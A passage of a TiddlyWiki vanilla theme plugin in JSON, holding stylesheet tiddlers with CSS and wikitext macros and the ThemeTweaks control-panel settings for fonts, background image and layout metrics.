            "text": "\\rules only filteredtranscludeinline transcludeinline macrodef macrocallinline\n\n.tc-sidebar-header {\n\ttext-shadow: 0 1px 0 <<colour sidebar-foreground-shadow>>;\n}\n\n.tc-tiddler-info {\n\t<<box-shadow \"inset 1px 2px 3px rgba(0,0,0,0.1)\">>\n}\n\n@media screen {\n\t.tc-tiddler-frame {\n\t\t<<box-shadow \"1px 1px 5px rgba(0, 0, 0, 0.3)\">>\n\t}\n}\n\n@media (max-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\t.tc-tiddler-frame {\n\t\t<<box-shadow none>>\n\t}\n}\n\n.tc-page-controls button svg, .tc-tiddler-controls button svg, .tc-topbar button svg {\n\t<<transition \"fill 150ms ease-in-out\">>\n}\n\n.tc-tiddler-controls button.tc-selected,\n.tc-page-controls button.tc-selected {\n\t<<filter \"drop-shadow(0px -1px 2px rgba(0,0,0,0.25))\">>\n}\n\n.tc-tiddler-frame input.tc-edit-texteditor {\n\t<<box-shadow \"inset 0 1px 8px rgba(0, 0, 0, 0.15)\">>\n}\n\n.tc-edit-tags {\n\t<<box-shadow \"inset 0 1px 8px rgba(0, 0, 0, 0.15)\">>\n}\n\n.tc-tiddler-frame .tc-edit-tags input.tc-edit-texteditor {\n\t<<box-shadow \"none\">>\n\tborder: none;\n\toutline: none;\n}\n\ntextarea.tc-edit-texteditor {\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/editorfontfamily}};\n}\n\ncanvas.tc-edit-bitmapeditor  {\n\t<<box-shadow \"2px 2px 5px rgba(0, 0, 0, 0.5)\">>\n}\n\n.tc-drop-down {\n\tborder-radius: 4px;\n\t<<box-shadow \"2px 2px 10px rgba(0, 0, 0, 0.5)\">>\n}\n\n.tc-block-dropdown {\n\tborder-radius: 4px;\n\t<<box-shadow \"2px 2px 10px rgba(0, 0, 0, 0.5)\">>\n}\n\n.tc-modal {\n\tborder-radius: 6px;\n\t<<box-shadow \"0 3px 7px rgba(0,0,0,0.3)\">>\n}\n\n.tc-modal-footer {\n\tborder-radius: 0 0 6px 6px;\n\t<<box-shadow \"inset 0 1px 0 #fff\">>;\n}\n\n\n.tc-alert {\n\tborder-radius: 6px;\n\t<<box-shadow \"0 3px 7px rgba(0,0,0,0.6)\">>\n}\n\n.tc-notification {\n\tborder-radius: 6px;\n\t<<box-shadow \"0 3px 7px rgba(0,0,0,0.3)\">>\n\ttext-shadow: 0 1px 0 rgba(255,255,255, 0.8);\n}\n\n.tc-sidebar-lists .tc-tab-set .tc-tab-divider {\n\tborder-top: none;\n\theight: 1px;\n\t<<background-linear-gradient \"left, rgba(0,0,0,0.15) 0%, rgba(0,0,0,0.0) 100%\">>\n}\n\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button {\n\t<<background-linear-gradient \"left, rgba(0,0,0,0.01) 0%, rgba(0,0,0,0.1) 100%\">>\n}\n\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button.tc-tab-selected {\n\t<<background-linear-gradient \"left, rgba(0,0,0,0.05) 0%, rgba(255,255,255,0.05) 100%\">>\n}\n\n.tc-message-box img {\n\t<<box-shadow \"1px 1px 3px rgba(0,0,0,0.5)\">>\n}\n\n.tc-plugin-info {\n\t<<box-shadow \"1px 1px 3px rgba(0,0,0,0.5)\">>\n}\n"
        }
    }
}
{
    "tiddlers": {
        "$:/themes/tiddlywiki/vanilla/themetweaks": {
            "title": "$:/themes/tiddlywiki/vanilla/themetweaks",
            "tags": "$:/tags/ControlPanel/Appearance",
            "caption": "{{$:/language/ThemeTweaks/ThemeTweaks}}",
            "text": "\\define lingo-base() $:/language/ThemeTweaks/\n\n\\define replacement-text()\n[img[$(imageTitle)$]]\n\\end\n\n\\define backgroundimage-dropdown()\n<div class=\"tc-drop-down-wrapper\">\n<$button popup=<<qualify \"$:/state/popup/themetweaks/backgroundimage\">> class=\"tc-btn-invisible tc-btn-dropdown\">{{$:/core/images/down-arrow}}</$button>\n<$reveal state=<<qualify \"$:/state/popup/themetweaks/backgroundimage\">> type=\"popup\" position=\"belowleft\" text=\"\" default=\"\">\n<div class=\"tc-drop-down\">\n<$macrocall $name=\"image-picker\" actions=\"\"\"\n\n<$action-setfield\n\t$tiddler=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimage\"\n\t$value=<<imageTitle>>\n/>\n\n\"\"\"/>\n</div>\n</$reveal>\n</div>\n\\end\n\n\\define backgroundimageattachment-dropdown()\n<$select tiddler=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment\" default=\"scroll\">\n<option value=\"scroll\"><<lingo Settings/BackgroundImageAttachment/Scroll>></option>\n<option value=\"fixed\"><<lingo Settings/BackgroundImageAttachment/Fixed>></option>\n</$select>\n\\end\n\n\\define backgroundimagesize-dropdown()\n<$select tiddler=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize\" default=\"scroll\">\n<option value=\"auto\"><<lingo Settings/BackgroundImageSize/Auto>></option>\n<option value=\"cover\"><<lingo Settings/BackgroundImageSize/Cover>></option>\n<option value=\"contain\"><<lingo Settings/BackgroundImageSize/Contain>></option>\n</$select>\n\\end\n\n<<lingo ThemeTweaks/Hint>>\n\n! <<lingo Options>>\n\n|<$link to=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\"><<lingo Options/SidebarLayout>></$link> |<$select tiddler=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\"><option value=\"fixed-fluid\"><<lingo Options/SidebarLayout/Fixed-Fluid>></option><option value=\"fluid-fixed\"><<lingo Options/SidebarLayout/Fluid-Fixed>></option></$select> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/options/stickytitles\"><<lingo Options/StickyTitles>></$link><br>//<<lingo Options/StickyTitles/Hint>>// |<$select tiddler=\"$:/themes/tiddlywiki/vanilla/options/stickytitles\"><option value=\"no\">{{$:/language/No}}</option><option value=\"yes\">{{$:/language/Yes}}</option></$select> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/options/codewrapping\"><<lingo Options/CodeWrapping>></$link> |<$select tiddler=\"$:/themes/tiddlywiki/vanilla/options/codewrapping\"><option value=\"pre\">{{$:/language/No}}</option><option value=\"pre-wrap\">{{$:/language/Yes}}</option></$select> |\n\n! <<lingo Settings>>\n\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/fontfamily\"><<lingo Settings/FontFamily>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/settings/fontfamily\" default=\"\" tag=\"input\"/> | |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/codefontfamily\"><<lingo Settings/CodeFontFamily>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/settings/codefontfamily\" default=\"\" tag=\"input\"/> | |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/editorfontfamily\"><<lingo Settings/EditorFontFamily>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/settings/editorfontfamily\" default=\"\" tag=\"input\"/> | |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimage\"><<lingo Settings/BackgroundImage>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimage\" default=\"\" tag=\"input\"/> |<<backgroundimage-dropdown>> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment\"><<lingo Settings/BackgroundImageAttachment>></$link> |<<backgroundimageattachment-dropdown>> | |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize\"><<lingo Settings/BackgroundImageSize>></$link> |<<backgroundimagesize-dropdown>> | |\n\n! <<lingo Metrics>>\n\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/fontsize\"><<lingo Metrics/FontSize>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/fontsize\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/lineheight\"><<lingo Metrics/LineHeight>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/lineheight\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize\"><<lingo Metrics/BodyFontSize>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/bodylineheight\"><<lingo Metrics/BodyLineHeight>></$link> |<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/bodylineheight\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/storyleft\"><<lingo Metrics/StoryLeft>></$link><br>//<<lingo Metrics/StoryLeft/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/storyleft\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/storytop\"><<lingo Metrics/StoryTop>></$link><br>//<<lingo Metrics/StoryTop/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/storytop\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/storyright\"><<lingo Metrics/StoryRight>></$link><br>//<<lingo Metrics/StoryRight/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/storyright\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/storywidth\"><<lingo Metrics/StoryWidth>></$link><br>//<<lingo Metrics/StoryWidth/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/storywidth\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth\"><<lingo Metrics/TiddlerWidth>></$link><br>//<<lingo Metrics/TiddlerWidth/Hint>>//<br> |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint\"><<lingo Metrics/SidebarBreakpoint>></$link><br>//<<lingo Metrics/SidebarBreakpoint/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth\"><<lingo Metrics/SidebarWidth>></$link><br>//<<lingo Metrics/SidebarWidth/Hint>>// |^<$edit-text tiddler=\"$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth\" default=\"\" tag=\"input\"/> |\n"
        },
        "$:/themes/tiddlywiki/vanilla/base": {
            "title": "$:/themes/tiddlywiki/vanilla/base",
            "tags": "[[$:/tags/Stylesheet]]",
            "text": "\\define custom-background-datauri()\n<$set name=\"background\" value={{$:/themes/tiddlywiki/vanilla/settings/backgroundimage}}>\n<$list filter=\"[<background>is[image]]\">\n`background: url(`\n<$list filter=\"[<background>!has[_canonical_uri]]\">\n`\"`<$macrocall $name=\"datauri\" title={{$:/themes/tiddlywiki/vanilla/settings/backgroundimage}}/>`\"`\n</$list>\n<$list filter=\"[<background>has[_canonical_uri]]\">\n`\"`<$view tiddler={{$:/themes/tiddlywiki/vanilla/settings/backgroundimage}} field=\"_canonical_uri\"/>`\"`\n</$list>\n`) center center;`\n`background-attachment: `{{$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment}}`;\n-webkit-background-size:` {{$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize}}`;\n-moz-background-size:` {{$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize}}`;\n-o-background-size:` {{$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize}}`;\nbackground-size:` {{$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize}}`;`\n</$list>\n</$set>\n\\end\n\n\\define if-fluid-fixed(text,hiddenSidebarText)\n<$reveal state=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\" type=\"match\" text=\"fluid-fixed\">\n$text$\n<$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">\n$hiddenSidebarText$\n</$reveal>\n</$reveal>\n\\end\n\n\\define if-editor-height-fixed(then,else)\n<$reveal state=\"$:/config/TextEditor/EditorHeight/Mode\" type=\"match\" text=\"fixed\">\n$then$\n</$reveal>\n<$reveal state=\"$:/config/TextEditor/EditorHeight/Mode\" type=\"match\" text=\"auto\">\n$else$\n</$reveal>\n\\end\n\n\\rules only filteredtranscludeinline transcludeinline macrodef macrocallinline macrocallblock\n\n/*\n** Start with the normalize CSS reset, and then belay some of its effects\n*/\n\n{{$:/themes/tiddlywiki/vanilla/reset}}\n\n*, input[type=\"search\"] {\n\tbox-sizing: border-box;\n\t-moz-box-sizing: border-box;\n\t-webkit-box-sizing: border-box;\n}\n\nhtml button {\n\tline-height: 1.2;\n\tcolor: <<colour button-foreground>>;\n\tbackground: <<colour button-background>>;\n\tborder-color: <<colour button-border>>;\n}\n\n/*\n** Basic element styles\n*/\n\nhtml {\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/fontfamily}};\n\ttext-rendering: optimizeLegibility; /* Enables kerning and ligatures etc. */\n\t-webkit-font-smoothing: antialiased;\n\t-moz-osx-font-smoothing: grayscale;\n}\n\nhtml:-webkit-full-screen {\n\tbackground-color: <<colour page-background>>;\n}\n\nbody.tc-body {\n\tfont-size: {{$:/themes/tiddlywiki/vanilla/metrics/fontsize}};\n\tline-height: {{$:/themes/tiddlywiki/vanilla/metrics/lineheight}};\n\tword-wrap: break-word;\n\t<<custom-background-datauri>>\n\tcolor: <<colour foreground>>;\n\tbackground-color: <<colour page-background>>;\n\tfill: <<colour foreground>>;\n}\n\n<<if-background-attachment \"\"\"\n\nbody.tc-body {\n        background-color: transparent;\n}\n\n\"\"\">>\n\nh1, h2, h3, h4, h5, h6 {\n\tline-height: 1.2;\n\tfont-weight: 300;\n}\n\npre {\n\tdisplay: block;\n\tpadding: 14px;\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n\tword-break: normal;\n\tword-wrap: break-word;\n\twhite-space: {{$:/themes/tiddlywiki/vanilla/options/codewrapping}};\n\tbackground-color: <<colour pre-background>>;\n\tborder: 1px solid <<colour pre-border>>;\n\tpadding: 0 3px 2px;\n\tborder-radius: 3px;\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/codefontfamily}};\n}\n\ncode {\n\tcolor: <<colour code-foreground>>;\n\tbackground-color: <<colour code-background>>;\n\tborder: 1px solid <<colour code-border>>;\n\twhite-space: {{$:/themes/tiddlywiki/vanilla/options/codewrapping}};\n\tpadding: 0 3px 2px;\n\tborder-radius: 3px;\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/codefontfamily}};\n}\n\nblockquote {\n\tborder-left: 5px solid <<colour blockquote-bar>>;\n\tmargin-left: 25px;\n\tpadding-left: 10px;\n\tquotes: \"\\201C\"\"\\201D\"\"\\2018\"\"\\2019\";\n}\n\nblockquote.tc-big-quote {\n\tfont-family: Georgia, serif;\n\tposition: relative;\n\tbackground: <<colour pre-background>>;\n\tborder-left: none;\n\tmargin-left: 50px;\n\tmargin-right: 50px;\n\tpadding: 10px;\n    border-radius: 8px;\n}\n\nblockquote.tc-big-quote cite:before {\n\tcontent: \"\\2014 \\2009\";\n}\n\nblockquote.tc-big-quote:before {\n\tfont-family: Georgia, serif;\n\tcolor: <<colour blockquote-bar>>;\n\tcontent: open-quote;\n\tfont-size: 8em;\n\tline-height: 0.1em;\n\tmargin-right: 0.25em;\n\tvertical-align: -0.4em;\n\tposition: absolute;\n    left: -50px;\n    top: 42px;\n}\n\nblockquote.tc-big-quote:after {\n\tfont-family: Georgia, serif;\n\tcolor: <<colour blockquote-bar>>;\n\tcontent: close-quote;\n\tfont-size: 8em;\n\tline-height: 0.1em;\n\tmargin-right: 0.25em;\n\tvertical-align: -0.4em;\n\tposition: absolute;\n    right: -80px;\n    bottom: -20px;\n}\n\ndl dt {\n\tfont-weight: bold;\n\tmargin-top: 6px;\n}\n\ntextarea,\ninput[type=text],\ninput[type=search],\ninput[type=\"\"],\ninput:not([type]) {\n\tcolor: <<colour foreground>>;\n\tbackground: <<colour background>>;\n}\n\ninput[type=\"checkbox\"] {\n  vertical-align: middle;\n}\n\n.tc-muted {\n\tcolor: <<colour muted-foreground>>;\n}\n\nsvg.tc-image-button {\n\tpadding: 0px 1px 1px 0px;\n}\n\n.tc-icon-wrapper > svg {\n\twidth: 1em;\n\theight: 1em;\n}\n\nkbd {\n\tdisplay: inline-block;\n\tpadding: 3px 5px;\n\tfont-size: 0.8em;\n\tline-height: 1.2;\n\tcolor: <<colour foreground>>;\n\tvertical-align: middle;\n\tbackground-color: <<colour background>>;\n\tborder: solid 1px <<colour muted-foreground>>;\n\tborder-bottom-color: <<colour muted-foreground>>;\n\tborder-radius: 3px;\n\tbox-shadow: inset 0 -1px 0 <<colour muted-foreground>>;\n}\n\n/*\nMarkdown likes putting code elements inside pre elements\n*/\npre > code {\n\tpadding: 0;\n\tborder: none;\n\tbackground-color: inherit;\n\tcolor: inherit;\n}\n\ntable {\n\tborder: 1px solid <<colour table-border>>;\n\twidth: auto;\n\tmax-width: 100%;\n\tcaption-side: bottom;\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n}\n\ntable th, table td {\n\tpadding: 0 7px 0 7px;\n\tborder-top: 1px solid <<colour table-border>>;\n\tborder-left: 1px solid <<colour table-border>>;\n}\n\ntable thead tr td, table th {\n\tbackground-color: <<colour table-header-background>>;\n\tfont-weight: bold;\n}\n\ntable tfoot tr td {\n\tbackground-color: <<colour table-footer-background>>;\n}\n\n.tc-csv-table {\n\twhite-space: nowrap;\n}\n\n.tc-tiddler-frame img,\n.tc-tiddler-frame svg,\n.tc-tiddler-frame canvas,\n.tc-tiddler-frame embed,\n.tc-tiddler-frame iframe {\n\tmax-width: 100%;\n}\n\n.tc-tiddler-body > embed,\n.tc-tiddler-body > iframe {\n\twidth: 100%;\n\theight: 600px;\n}\n\n/*\n** Links\n*/\n\nbutton.tc-tiddlylink,\na.tc-tiddlylink {\n\ttext-decoration: none;\n\tfont-weight: 500;\n\tcolor: <<colour tiddler-link-foreground>>;\n\t-webkit-user-select: inherit; /* Otherwise the draggable attribute makes links impossible to select */\n}\n\n.tc-sidebar-lists a.tc-tiddlylink {\n\tcolor: <<colour sidebar-tiddler-link-foreground>>;\n}\n\n.tc-sidebar-lists a.tc-tiddlylink:hover {\n\tcolor: <<colour sidebar-tiddler-link-foreground-hover>>;\n}\n\nbutton.tc-tiddlylink:hover,\na.tc-tiddlylink:hover {\n\ttext-decoration: underline;\n}\n\na.tc-tiddlylink-resolves {\n}\n\na.tc-tiddlylink-shadow {\n\tfont-weight: bold;\n}\n\na.tc-tiddlylink-shadow.tc-tiddlylink-resolves {\n\tfont-weight: normal;\n}\n\na.tc-tiddlylink-missing {\n\tfont-style: italic;\n}\n\na.tc-tiddlylink-external {\n\ttext-decoration: underline;\n\tcolor: <<colour external-link-foreground>>;\n\tbackground-color: <<colour external-link-background>>;\n}\n\na.tc-tiddlylink-external:visited {\n\tcolor: <<colour external-link-foreground-visited>>;\n\tbackground-color: <<colour external-link-background-visited>>;\n}\n\na.tc-tiddlylink-external:hover {\n\tcolor: <<colour external-link-foreground-hover>>;\n\tbackground-color: <<colour external-link-background-hover>>;\n}\n\n/*\n** Drag and drop styles\n*/\n\n.tc-tiddler-dragger {\n\tposition: relative;\n\tz-index: -10000;\n}\n\n.tc-tiddler-dragger-inner {\n\tposition: absolute;\n\ttop: -1000px;\n\tleft: -1000px;\n\tdisplay: inline-block;\n\tpadding: 8px 20px;\n\tfont-size: 16.9px;\n\tfont-weight: bold;\n\tline-height: 20px;\n\tcolor: <<colour dragger-foreground>>;\n\ttext-shadow: 0 1px 0 rgba(0, 0, 0, 1);\n\twhite-space: nowrap;\n\tvertical-align: baseline;\n\tbackground-color: <<colour dragger-background>>;\n\tborder-radius: 20px;\n}\n\n.tc-tiddler-dragger-cover {\n\tposition: absolute;\n\tbackground-color: <<colour page-background>>;\n}\n\n.tc-dropzone {\n\tposition: relative;\n}\n\n.tc-dropzone.tc-dragover:before {\n\tz-index: 10000;\n\tdisplay: block;\n\tposition: fixed;\n\ttop: 0;\n\tleft: 0;\n\tright: 0;\n\tbackground: <<colour dropzone-background>>;\n\ttext-align: center;\n\tcontent: \"<<lingo DropMessage>>\";\n}\n\n.tc-droppable > .tc-droppable-placeholder {\n\tdisplay: none;\n}\n\n.tc-droppable.tc-dragover > .tc-droppable-placeholder {\n\tdisplay: block;\n\tborder: 2px dashed <<colour dropzone-background>>;\n}\n\n.tc-draggable {\n\tcursor: move;\n}\n\n/*\n** Plugin reload warning\n*/\n\n.tc-plugin-reload-warning {\n\tz-index: 1000;\n\tdisplay: block;\n\tposition: fixed;\n\ttop: 0;\n\tleft: 0;\n\tright: 0;\n\tbackground: <<colour alert-background>>;\n\ttext-align: center;\n}\n\n/*\n** Buttons\n*/\n\nbutton svg, button img, label svg, label img {\n\tvertical-align: middle;\n}\n\n.tc-btn-invisible {\n\tpadding: 0;\n\tmargin: 0;\n\tbackground: none;\n\tborder: none;\n    cursor: pointer;\n}\n\n.tc-btn-boxed {\n\tfont-size: 0.6em;\n\tpadding: 0.2em;\n\tmargin: 1px;\n\tbackground: none;\n\tborder: 1px solid <<colour tiddler-controls-foreground>>;\n\tborder-radius: 0.25em;\n}\n\nhtml body.tc-body .tc-btn-boxed svg {\n\tfont-size: 1.6666em;\n}\n\n.tc-btn-boxed:hover {\n\tbackground: <<colour muted-foreground>>;\n\tcolor: <<colour background>>;\n}\n\nhtml body.tc-body .tc-btn-boxed:hover svg {\n\tfill: <<colour background>>;\n}\n\n.tc-btn-rounded {\n\tfont-size: 0.5em;\n\tline-height: 2;\n\tpadding: 0em 0.3em 0.2em 0.4em;\n\tmargin: 1px;\n\tborder: 1px solid <<colour muted-foreground>>;\n\tbackground: <<colour muted-foreground>>;\n\tcolor: <<colour background>>;\n\tborder-radius: 2em;\n}\n\nhtml body.tc-body .tc-btn-rounded svg {\n\tfont-size: 1.6666em;\n\tfill: <<colour background>>;\n}\n\n.tc-btn-rounded:hover {\n\tborder: 1px solid <<colour muted-foreground>>;\n\tbackground: <<colour background>>;\n\tcolor: <<colour muted-foreground>>;\n}\n\nhtml body.tc-body .tc-btn-rounded:hover svg {\n\tfill: <<colour muted-foreground>>;\n}\n\n.tc-btn-icon svg {\n\theight: 1em;\n\twidth: 1em;\n\tfill: <<colour muted-foreground>>;\n}\n\n.tc-btn-text {\n\tpadding: 0;\n\tmargin: 0;\n}\n\n/* used for documentation \"fake\" buttons */\n.tc-btn-standard {\n\tline-height: 1.8;\n\tcolor: #667;\n\tbackground-color: #e0e0e0;\n\tborder: 1px solid #888;\n\tpadding: 2px 1px 2px 1px;\n\tmargin: 1px 4px 1px 4px;\n}\n\n.tc-btn-big-green {\n\tdisplay: inline-block;\n\tpadding: 8px;\n\tmargin: 4px 8px 4px 8px;\n\tbackground: <<colour download-background>>;\n\tcolor: <<colour download-foreground>>;\n\tfill: <<colour download-foreground>>;\n\tborder: none;\n\tfont-size: 1.2em;\n\tline-height: 1.4em;\n\ttext-decoration: none;\n}\n\n.tc-btn-big-green svg,\n.tc-btn-big-green img {\n\theight: 2em;\n\twidth: 2em;\n\tvertical-align: middle;\n\tfill: <<colour download-foreground>>;\n}\n\n.tc-sidebar-lists input {\n\tcolor: <<colour foreground>>;\n}\n\n.tc-sidebar-lists button {\n\tcolor: <<colour sidebar-button-foreground>>;\n\tfill: <<colour sidebar-button-foreground>>;\n}\n\n.tc-sidebar-lists button.tc-btn-mini {\n\tcolor: <<colour sidebar-muted-foreground>>;\n}\n\n.tc-sidebar-lists button.tc-btn-mini:hover {\n\tcolor: <<colour sidebar-muted-foreground-hover>>;\n}\n\nbutton svg.tc-image-button, button .tc-image-button img {\n\theight: 1em;\n\twidth: 1em;\n}\n\n.tc-unfold-banner {\n\tposition: absolute;\n\tpadding: 0;\n\tmargin: 0;\n\tbackground: none;\n\tborder: none;\n\twidth: 100%;\n\twidth: calc(100% + 2px);\n\tmargin-left: -43px;\n\ttext-align: center;\n\tborder-top: 2px solid <<colour tiddler-info-background>>;\n\tmargin-top: 4px;\n}\n\n.tc-unfold-banner:hover {\n\tbackground: <<colour tiddler-info-background>>;\n\tborder-top: 2px solid <<colour tiddler-info-border>>;\n}\n\n.tc-unfold-banner svg, .tc-fold-banner svg {\n\theight: 0.75em;\n\tfill: <<colour tiddler-controls-foreground>>;\n}\n\n.tc-unfold-banner:hover svg, .tc-fold-banner:hover svg {\n\tfill: <<colour tiddler-controls-foreground-hover>>;\n}\n\n.tc-fold-banner {\n\tposition: absolute;\n\tpadding: 0;\n\tmargin: 0;\n\tbackground: none;\n\tborder: none;\n\twidth: 23px;\n\ttext-align: center;\n\tmargin-left: -35px;\n\ttop: 6px;\n\tbottom: 6px;\n}\n\n.tc-fold-banner:hover {\n\tbackground: <<colour tiddler-info-background>>;\n}\n\n@media (max-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-unfold-banner {\n\t\tposition: static;\n\t\twidth: calc(100% + 59px);\n\t}\n\n\t.tc-fold-banner {\n\t\twidth: 16px;\n\t\tmargin-left: -16px;\n\t\tfont-size: 0.75em;\n\t}\n\n}\n\n/*\n** Tags and missing tiddlers\n*/\n\n.tc-tag-list-item {\n\tposition: relative;\n\tdisplay: inline-block;\n\tmargin-right: 7px;\n}\n\n.tc-tags-wrapper {\n\tmargin: 4px 0 14px 0;\n}\n\n.tc-missing-tiddler-label {\n\tfont-style: italic;\n\tfont-weight: normal;\n\tdisplay: inline-block;\n\tfont-size: 11.844px;\n\tline-height: 14px;\n\twhite-space: nowrap;\n\tvertical-align: baseline;\n}\n\nbutton.tc-tag-label, span.tc-tag-label {\n\tdisplay: inline-block;\n\tpadding: 0.16em 0.7em;\n\tfont-size: 0.9em;\n\tfont-weight: 400;\n\tline-height: 1.2em;\n\tcolor: <<colour tag-foreground>>;\n\twhite-space: nowrap;\n\tvertical-align: baseline;\n\tbackground-color: <<colour tag-background>>;\n\tborder-radius: 1em;\n}\n\n.tc-untagged-separator {\n\twidth: 10em;\n\tleft: 0;\n\tmargin-left: 0;\n\tborder: 0;\n\theight: 1px;\n\tbackground: <<colour tab-divider>>;\n}\n\nbutton.tc-untagged-label {\n\tbackground-color: <<colour untagged-background>>;\n}\n\n.tc-tag-label svg, .tc-tag-label img {\n\theight: 1em;\n\twidth: 1em;\n\tvertical-align: text-bottom;\n}\n\n.tc-tag-manager-table .tc-tag-label {\n\twhite-space: normal;\n}\n\n.tc-tag-manager-tag {\n\twidth: 100%;\n}\n\nbutton.tc-btn-invisible.tc-remove-tag-button {\n\toutline: none;\n}\n\n/*\n** Page layout\n*/\n\n.tc-topbar {\n\tposition: fixed;\n\tz-index: 1200;\n}\n\n.tc-topbar-left {\n\tleft: 29px;\n\ttop: 5px;\n}\n\n.tc-topbar-right {\n\ttop: 5px;\n\tright: 29px;\n}\n\n.tc-topbar button {\n\tpadding: 8px;\n}\n\n.tc-topbar svg {\n\tfill: <<colour muted-foreground>>;\n}\n\n.tc-topbar button:hover svg {\n\tfill: <<colour foreground>>;\n}\n\n.tc-sidebar-header {\n\tcolor: <<colour sidebar-foreground>>;\n\tfill: <<colour sidebar-foreground>>;\n}\n\n.tc-sidebar-header .tc-title a.tc-tiddlylink-resolves {\n\tfont-weight: 300;\n}\n\n.tc-sidebar-header .tc-sidebar-lists p {\n\tmargin-top: 3px;\n\tmargin-bottom: 3px;\n}\n\n.tc-sidebar-header .tc-missing-tiddler-label {\n\tcolor: <<colour sidebar-foreground>>;\n}\n\n.tc-advanced-search input {\n\twidth: 60%;\n}\n\n.tc-search a svg {\n\twidth: 1.2em;\n\theight: 1.2em;\n\tvertical-align: middle;\n}\n\n.tc-page-controls {\n\tmargin-top: 14px;\n\tfont-size: 1.5em;\n}\n\n.tc-page-controls .tc-drop-down {\n  font-size: 1rem;\n}\n\n.tc-page-controls button {\n\tmargin-right: 0.5em;\n}\n\n.tc-page-controls a.tc-tiddlylink:hover {\n\ttext-decoration: none;\n}\n\n.tc-page-controls img {\n\twidth: 1em;\n}\n\n.tc-page-controls svg {\n\tfill: <<colour sidebar-controls-foreground>>;\n}\n\n.tc-page-controls button:hover svg, .tc-page-controls a:hover svg {\n\tfill: <<colour sidebar-controls-foreground-hover>>;\n}\n\n.tc-menu-list-item {\n\twhite-space: nowrap;\n}\n\n.tc-menu-list-count {\n\tfont-weight: bold;\n}\n\n.tc-menu-list-subitem {\n\tpadding-left: 7px;\n}\n\n.tc-story-river {\n\tposition: relative;\n}\n\n@media (max-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-sidebar-header {\n\t\tpadding: 14px;\n\t\tmin-height: 32px;\n\t\tmargin-top: {{$:/themes/tiddlywiki/vanilla/metrics/storytop}};\n\t}\n\n\t.tc-story-river {\n\t\tposition: relative;\n\t\tpadding: 0;\n\t}\n}\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-message-box {\n\t\tmargin: 21px -21px 21px -21px;\n\t}\n\n\t.tc-sidebar-scrollable {\n\t\tposition: fixed;\n\t\ttop: {{$:/themes/tiddlywiki/vanilla/metrics/storytop}};\n\t\tleft: 